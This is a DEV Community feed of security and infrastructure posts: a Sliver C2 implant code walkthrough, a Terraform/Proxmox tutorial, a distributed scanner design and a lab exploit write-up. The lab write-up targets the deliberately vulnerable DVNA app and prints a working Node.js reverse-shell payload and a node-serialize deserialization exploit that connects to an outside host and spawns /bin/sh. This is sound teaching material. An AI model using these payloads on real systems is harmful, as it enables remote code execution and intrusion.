DEV Community: r0psteev

Exploring Sliver C2 - Part 1 : C2 over mTLS

r0psteev — Sat, 08 Apr 2023 05:15:10 +0000

What is `mTLS` ?

mTLSstands for mutual TLS.

In normal TLS, a target server/website is required to provide to visitors browsers its certificate. This certificate is generally issued by a trusted third-party (a Certificate Authority).

Client browsers are shipped by default with a list of public keys from known trusted Certificate Authorities. The client browser can use them to verify if a certificate presented to it by a server/website was issued/signed by one of the Certificate Authorities it knows (trusts).

mTLS enforces that the client too presents a similar certificate to complete a hand-shake, there-by enabling the server to be sure that the client is also whom it pretends to be.

mTLS Implant side

The Implant is the component which is deployed on target/victim endpoint for control.
Implant specific code within sliver is located in ./sliver/implant directory.

Implant code related to transport mechanisms, including mTLS is located in ./sliver/implant/sliver/transports

Poking around `mtls.go`

The file has a quiet curious template-like feature which allows for conditionally importing the log package.
Based on wether we are or not in Debug mode as expressed by some magic .Config variable, the log package gets imported.
I guess this could be for Opsec reasons, as no one would like production implants to have debug messages enabled on blue team monitored endpoints.



    // {{if .Config.Debug}}
    "log"
    // {{end}}

Other interesting observations where the fact that some variables within the scope of this code get provisioned by this magically injected {{.Config}} object.
These variables are apparently:
the Certificate Authority's public key (expected to be the key of the trusted CA between the implant and server)
the private key of the implant itself (keyPEM)
the certificate of the implant certPEM (Implant's public key signed by the CA, with some metadata)



var (
    // PingInterval - Amount of time between in-band "pings"
    PingInterval = 2 * time.Minute

    // caCertPEM - PEM encoded CA certificate
    caCertPEM = `{{.Config.MtlsCACert}}`

    keyPEM  = `{{.Config.MtlsKey}}`
    certPEM = `{{.Config.MtlsCert}}`
)

There are a few functions too, whose intent i will try to derive based on the comments and code logic.

WriteEnvelope:
- This appears to be some kind of write primitive the implant can use to pass down messages of its protocol through an mTLS socket.
- It depends on a protobuf defined structure call pb.Envelope
- Interestingly enough, it sends bytes over the socket in LittleEndian (host order).
- LittleEndian is generally the byte order used by CPUs to read process memory and instructions.
- In the network, Big Endian (also called network order) is often more prevalent for byte transmission. ²



// WriteEnvelope - Writes a message to the TLS socket using length prefix framing
// which is a fancy way of saying we write the length of the message then the message
// e.g. [uint32 length|message] so the receiver can delimit messages properly
func WriteEnvelope(connection *tls.Conn, envelope *pb.Envelope) error {
    data, err := proto.Marshal(envelope)
    if err != nil {
        // {{if .Config.Debug}}
        log.Print("Envelope marshaling error: ", err)
        // {{end}}
        return err
    }
    dataLengthBuf := new(bytes.Buffer)
    binary.Write(dataLengthBuf, binary.LittleEndian, uint32(len(data)))
    connection.Write(dataLengthBuf.Bytes())
    connection.Write(data)
    return nil
}

WritePing:
- kind of keep alive method to constantly feed something over the socket.
- just to notify the server that the implant is still there.
- it uses the WriteEnvelope primitive to pass down these pings over the socket.
- The ping consists of sending the message 31337 (elite in leet speak), i guess every PingInterval units of time.



// WritePing - Send a "ping" message to the server
func WritePing(connection *tls.Conn) error {
    // {{if .Config.Debug}}
    log.Print("Socket ping")
    // {{end}}

    // We don't need a real nonce here, we just need to write to the socket
    pingBuf, _ := proto.Marshal(&pb.Ping{Nonce: 31337})
    envelope := pb.Envelope{
        Type: pb.MsgPing,
        Data: pingBuf,
    }
    return WriteEnvelope(connection, &envelope)
}

ReadEnvelope:
- The function name and comments are enough to convince me not to read the whole of it, and infer a little its goal :D.
- Reads data from the TLS connection.



    // Unmarshal the protobuf envelope
    envelope := &pb.Envelope{}
    err = proto.Unmarshal(dataBuf, envelope)
    if err != nil {
        // {{if .Config.Debug}}
        log.Printf("Unmarshal envelope error: %v", err)
        // {{end}}
        return nil, err
    }

    return envelope, nil

MtlsConnect:
- establish a TLS connection with sliver server given the server ip and port.
- depends on getTLSConfig to load CA certificate.

At this stage the dependency graph i made for myself is the following.

It becomes quiet evident that the big players here are the :

Envelope structure
The magical Config variable.

The `Envelope` proto definition



// Envelope - Used to encode implant<->server messages since we 
//            cannot use gRPC due to the various transports used.
message Envelope {
  int64 ID = 1;   // Envelope ID used to track request/response
  uint32 Type = 2; // Message type
  bytes Data = 3;  // Actual message data

  bool UnknownMessageType = 4; // Set if the implant did not understand the message
}

from the description of this structure, it is used to encode messages between implant and server
Evidence of this could be traced back to:
- the WriteEnvelope function; pb.Envelope is marshaled into raw bytes before transmission the TLS connection.
- the ReadEnvelope function; raw bytes are read from a TLS connection, and unmarshaled into a pb.Envelope structure which Go can understand.
Moving protocol specific types/structures into proto files gives in my opinion some flexibility in modifying the protocol, because the proto files will act as the single source of truth for the protocol's definition.

Conclusion

I'm tempted at this stage to think that a solid detection technique for sliver could rely on identifying these message structures in-memory.
We could hypothetically imagine some sort of memory scanner, which will scan process memory space on the monitored system, and attempt to recognise sections of memory whose layout/structure matches the alignment of the protobuf messages defined in sliver's implant protocol.
Doubts will get settled anyway by better understanding the protocol, and also how Go structures look like in memory.

Reference

Exploring Sliver C2 - Part 0

r0psteev — Sat, 08 Apr 2023 03:56:32 +0000

Introduction

Sliver is an open-source cross-platform adversary emulation framework, written in Go. With tones of stealth and evasion techniques, aimed at providing to organizations a framework against which they can measure their detection/response capabilities.

Aims

The primary aims of this endeavor are to:

Step-by-Step explore some features of sliver
Understand how they're implemented in the code
Develop detection techniques which are resistant to trivial obfuscation pipelines.
And more importantly, to steal some Go programming tips ;)

Sliver has an amazing set of features, but what i wish to specifically explore for the moment revolve around.

C2 over mTLS (mutual TLS)
C2 over wireguard
C2 over HTTP(S)
C2 over DNS
Dynamic compilation with per-binary asymmetric encryption keys

References

Learning some terraform for Proxmox

r0psteev — Tue, 06 Dec 2022 09:12:56 +0000

Introduction

In an effort to capture some of the effort that goes into setting up tests infrastructures on proxmox, i decided to learn some terraform to formalize infrastructure deployment on proxmox as terraform configs.

Personal objectives

Build a terraform provider from source and use it from locally (this will be useful in case the need to further extend the provider with additional features that the proxmox API provides)
Deploy n-lxc containers using terraform on proxmox

The Provider

1. Building the Provider

I choose Telmate/Proxmox provider as it one of the most popular on hashicorp.

This provider has a quiet comprehensive friendly structure, with an entrypoint main.go and package proxmox dedicated to proxmox's specific logic.

And surprisingly easy to install. After installing the go compiler and build-essentials package on ubuntu, make does the trick.

The resulting provider binary terraform-provider-proxmox is stored in ./bin directory.

2. Where does terraform search/find provider binaries

By default terraform will directly fetch providers from Hashicorp and cache them in ~/.terraform/plugins.

What we can do if we want to run a custom built provider is to put it in a directory structure similar to the one below.

We can now invoke this provider in our terraform files as follows.

# lxc-example.tf
terraform {
  required_providers {
    proxmox = {
      source  = "terraform.local/telmate/proxmox"
    }
  }
}

provider "proxmox" {
    pm_tls_insecure = true
    pm_api_url = "https://localhost:8006/api2/json"
    pm_password = "donthackmeplease"
    pm_user = "root@hostname"
}

The containers

1. A minimal lxc container

At this point, to get a little confidence in my understanding of this provider i wanted to create a simple terraform file to spin for me an lxc container in a designated pool on proxmox.

So this exercise consisted of creating an lxc container:

within a choosen Pool (pools are kind of resource groupings in proxmox with common administrative policies, this pool was created because proxmox allows for visually grouping resources into pools, hence primarily for aesthetic purposes)
with 1024MB of RAM
2vCPU
is connected to the internet over virtual switch vmbr0
starts immediately after creation.
is based on lxc ubuntu 22.04 template

To achieve this we can read the example terraform file terraform-provider-proxmox/examples/lxc_example.tf to spin an lxc container provided by the code base. However, we could get more insight about the terraform directives which will help us achieve our requirements by reading directly the file terraform-provider-proxmox/proxmox/resource_lxc.go as it is an entrypoint into the Schema definition of an lxc resource from the point of view of terraform (it basically maps the way terraform understands what an lxc container is to what proxmox understands it to be).

Similarly the file terraform-provider-proxmox/proxmox/resource_pool.go provides the Schema definition of a Pool.

Create Pool TestPool1

# lxc-example.tf
resource "proxmox_pool" "pool-test" {
  poolid = "TestPool1"
  comment = "Just a test pool"
}

The lxc container

resource "proxmox_lxc" "lxc-test" {
  pool = proxmox_pool.pool-test.poolid # depends on pool-test
  target_node = "pve" # node of your cluster on which deployment should be done
  cores = 2
  memory = 1024
  hostname = "bot"
  password = "rootroot"
  network  {
    name = "eth0"
    bridge = "vmbr0"
    ip = "dhcp"
  }
  start = true # start after creation

  # using ubuntu container template
  ostemplate = "local:vztmpl/ubuntu-22.04-standard_22.04-1_amd64.tar.zst"
  rootfs {
    storage = "local-lvm"
    size = "8G"
  }
}

ostemplate points to the volume on which is found the lxc template of your container, and follows some kind of promox's address notation.

This special notation ultimately resolves to local filesystem paths, as shown below for the address storage notation for our ubuntu-22.04-standard_22.04-1_amd64.tar.zst template.

rootfs specifies the storage (where the vm disk would be stored) and its size

Testing:

$ terraform init
$ terraform plan  # just to check
$ terraform apply

I developed an overly simple mental model through studying this code base, which might be useful in case you find yourself in need to extend/add support for some proxmox feature to this code base

terraform cli depends on Telmate/terraform-provider-proxmox for Schema definitions.
Telmate/terraform-provider-proxmox binds the Schema definitions to promox JSON API using Telmate/proxmox-api-go
Telmate/proxmox-api-go ultimately interacts with the proxmox server via its API.

The uniform naming conventions used throughout the Telmate codebase makes so that a Schema directive's name is exactly the same name as in the Proxmox Core API.
So we an directly refer ourselves to the proxmox API docs to get description / information about the role/purpose of a Schema directive.

2. Spinning 20 lxc containers

We spin n=20 containers, we can use terraform's count meta-argument.

resource "proxmox_pool" "pool-test" {
  poolid = "TestPool1"
  comment = "Just a test pool"
}

resource "proxmox_lxc" "lxc-test" {
  count = 20 # create 20 lxc containers
  pool = proxmox_pool.pool-test.poolid # depends on pool-test
  target_node = "pve" # node of your cluster on which deployment should be done
  cores = 1
  memory = 512
  hostname = "bot-${count.index}"
  password = "rootroot"

  network  {
    name = "eth0"
    bridge = "vmbr0"
    ip = "dhcp"
  }
  start = true # start after creation

  # using ubuntu container template
  ostemplate = "local:vztmpl/ubuntu-22.04-standard_22.04-1_amd64.tar.zst"
  rootfs {
    storage = "local-lvm"
    size = "8G"
  }
}

After running terraform apply we get

We have them, 20 containers created in pool TestPool1

Just as easily as we created them, we can destroy them back using terraform destroy

References

Building a distributed network scanner (Cthulhu-net)

r0psteev — Thu, 10 Nov 2022 13:48:46 +0000

Abstract

This experimental work, was conducted to hands-on appreciate the concepts of vertical scaling vs horizontal scaling in relation to distributed systems.

Vertical scaling, simply could be defined as the augmentation of the capacities (CPU, RAM, Disks size, bandwidth) or a unique computing device, to handle the increase in load/scale of a computational activity it should perform.

Horizontal scaling on the other hand addresses the problem of load increase/scale by uniformly spreading the computational activity to be performed over a pool of relatively medium capacity devices, such that the devices individual outputs contribute to the overall output of the system.

The domain in which this concept was explored is the context of this work is that of network scanners.

Traditional network scanners which run on single hosts have huge performance trade-offs when we use them to scan very large IP address spaces. Their performance may increase only with increase in the available bandwidth of the device from which the scanner is run (vertical scaling)

This project aims for exploratory purpose to spread the pool of ip addresses to scan over a group of relatively medium capacity devices (horizontal scaling), in order to reduce scan time. An added advantage is that, in the case we geographically separate
the scanner nodes (we call them bots in our system), the scan results will reflect each node’s unique view of the network.

Overall architecture

Fig 1.0: Overall system architecture

BotPool:
The BotPool is a set of general purpose machines(virtual machines) equipped with a GOLANG based agent, dedicated to receiving scan tasks from the server, running them and feeding back the server with the results of the scan.

C2 Server:
The Command and Control Server (C2) is the core/main server with responsibilities of scheduling/orchestrating scan tasks for bots of the botpool.
It receives scan jobs from the Operators, breaks them into smaller trackable tasks for the botpool, and stores the results of the scan for subsequent visual reporting.

Backend Services:
The various responsibilities of the C2 server are broken down into independent collaborating domains of responsibilities. They are the ones which collaborate together to realize each of the
expected responsibilities of the overall system required by external actors.

C2 Operator Space:
The Operator space consists mainly of a very simple Command Line Utility from which he can push new scan jobs to the system, and a web-based Grafana interface for statistics visualizations.

Fig 1.1: Operator CLI

Fig 1.2: Operator Grafana Dashboard

Intended workflow

We define the following entities within a successful work session of the system.

Fig 2.0: System Entities description

And The following sequence of actions describe a successful session in our system

1. Discovery (Tracking phases)

Fig 2.1: Discovery Phase

During this phase of our system, live worker bots advertise their presence to the main server for prior registration.

2. Job Queueing By Operator

Fig 2.2: Job Queuing and task breakdown

The system operator provides a scan job against a designated network (0.0.0.0/8) in our example.
This subnet is broken down by the server into smaller chunks, and queued for tracking.
The smaller chunks are later referred to as Tasks in our system, we consider a Job to be made up of multiple Tasks.

3. Pool Feeding

Fig 2.3: Pool feeding

Tasks (scan chunks) are progressively dequeued from the Job Queue, and assigned to the live bots who initially announced themselves to the server.

Fig 2.4: Pool feeding

Results from executing the Tasks are sent back to the server by the bot, which in turn provides them to the Operator.

DeepSource - From Vulnerability discovery to Exploit development

r0psteev — Tue, 01 Nov 2022 23:56:17 +0000

I. Introduction

This post is the result of some recent experimental work with DeepSource, one the many Static Application Security Testing Tools out there, and highlights some of the insights i was able to gain during my learning process.

II. About DeepSource

DeepSource is a powerful SAST engine offered as a convenient web application from which vulnerability analysis of a codebase can be conducted without requiring highly performant on premise resources. DeepSource works on the main concepts of Analyzers and Transformers.

Analyzers are language specific parsers, capable of detecting security issues in code as well as common programming antipatterns which may result in unstable conditions within the software.

Transformers on the other hand are roughly linters, and code formatters specific to every supported language which will format and style codes pushed to repositories linked to DeepSource based on the programming language's specification for good coding style.

III. The Tested Codebase: DVNA

Damn Vulnerable Node App (dvna) was the target codebase used in this exercise. It is an intentionally vulnerable nodejs application with reasonable codebase size.

In total, 4 classes of vulnerabilities were identified by DeepSource within this codebase.

IV. Focus on Deserialization

Description

Deepsource identified a zone in the code vulnerable to unsafe deserialization of user supplied objects.

Serialization is the process of converting runtime objects and data structures into a form that is easily transferable over the network (JSON, binary blob, … etc) or for storage on disk. Serialization is really appreciated by programmers as it helps to snapshot runtime entities (objects/data) into a static form which could be stored as is on disk or shared over a network.

Deserialization on the other hand is the reverse process, which involves recovering the original objects or structures from their minified/encoded static representations.

When user supplied input is not properly sanitized before deserialization, a situation of arbitrary code execution could arise, because functions too can be serialized and deserialized.
Hence a malicious user may craft serialized objects (with embedded functions) which when deserialized by the backend system will detonate the malicious functions embedded in them, and achieve the purpose coded in them.

Further inspection of the reported line suggests that the concerned code section deserialized user-supplied products in some way, and saved them to the backend system.

And the deserialization library used is node-serialize.

The deserialized products have the following structure.

So, we could technically forge our own product that adheres to this same structure, but replace one of the attributes with a function which will be immediately invoked once the object gets deserialized on the backend.

Exploiting the Vulnerability

To attempt exploiting This vulnerability, a local docker instance of the vulnerable service, was deployed for testing

1. First we learn how to craft legit objects which can get accepted by the backend without any errors based on the Product object model

The serialized json object is put into an array because the backend expects several serialized products to be given to it at that endpoint.

We save this output to test.json and submit to the web application.

The backend successfully deserialized our object and added it to its product list.

2. Now that we know how to craft valid objects for the backend, we need to try making malicious ones which get us some custom code executed at the backend during deserialization time.

To Achieve this aim, the ideal kind of javascript construct is an Immediately Invoked Function Expression
(IIFE)., it is one which gets immediately executed once referenced or read.

So the plan is as follows, we know that when we send a valid javascript object to the backend, some of its fields such name, code, tags and description get referenced when the backend attempt to assign them to a new instance of product it creates for itself. To leverage this behavior, what we simply need to do is to feed in and IIFE to one of this fields so that when the backend references (attempts to read) that field, the IIFE immediately executes whatsoever arbitrary code we placed in it.

Below is a sample javascript reverse shell, in IIFE mode and in non-IIFE mode, we will leverage the IIFE version in our subsequent malicious object.

// Immediately invoked (IIFE)
(function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(8001, "<IP>", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; // Prevents the Node.js application from crashing
})();


// Not Immediately invoked
function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(8001, "<IP>", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; // Prevents the Node.js application from crashing
}

3. After several iterations of test and debug, the follow final payload object was obtained to get a reverse shell on the DVNA app.

[
   {
      "name":"st11-1",
      "code":"708",
      "description":"Tryna Grab a Shell",
      "tags":"_$$ND_FUNC$$_function(){var net = require(\"net\");const cp = require(\"child_process\");const sh = cp.spawn(\"/bin/sh\", []);var client = new net.Socket();client.connect(8001, \"10.240.172.1\", function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/;}()"
   }
]

This payload was saved as test2.json, then uploaded to the Web application.

After detonation of the embedded payload, a reverse shell was received on the listening machine.

DEV Community: r0psteev

Exploring Sliver C2 - Part 1 : C2 over mTLS

What is mTLS ?

mTLS Implant side

Poking around mtls.go

The Envelope proto definition

Conclusion

Reference

Exploring Sliver C2 - Part 0

Introduction

Aims

References

Learning some terraform for Proxmox

Introduction

Personal objectives

The Provider

1. Building the Provider

2. Where does terraform search/find provider binaries

The containers

1. A minimal lxc container

2. Spinning 20 lxc containers

References

Building a distributed network scanner (Cthulhu-net)

Abstract

Overall architecture

Intended workflow

1. Discovery (Tracking phases)

2. Job Queueing By Operator

3. Pool Feeding

Links

DeepSource - From Vulnerability discovery to Exploit development

I. Introduction

II. About DeepSource

III. The Tested Codebase: DVNA

IV. Focus on Deserialization

Description

Exploiting the Vulnerability

1. First we learn how to craft legit objects which can get accepted by the backend without any errors based on the Product object model

2. Now that we know how to craft valid objects for the backend, we need to try making malicious ones which get us some custom code executed at the backend during deserialization time.

3. After several iterations of test and debug, the follow final payload object was obtained to get a reverse shell on the DVNA app.

V. References

What is `mTLS` ?

Poking around `mtls.go`

The `Envelope` proto definition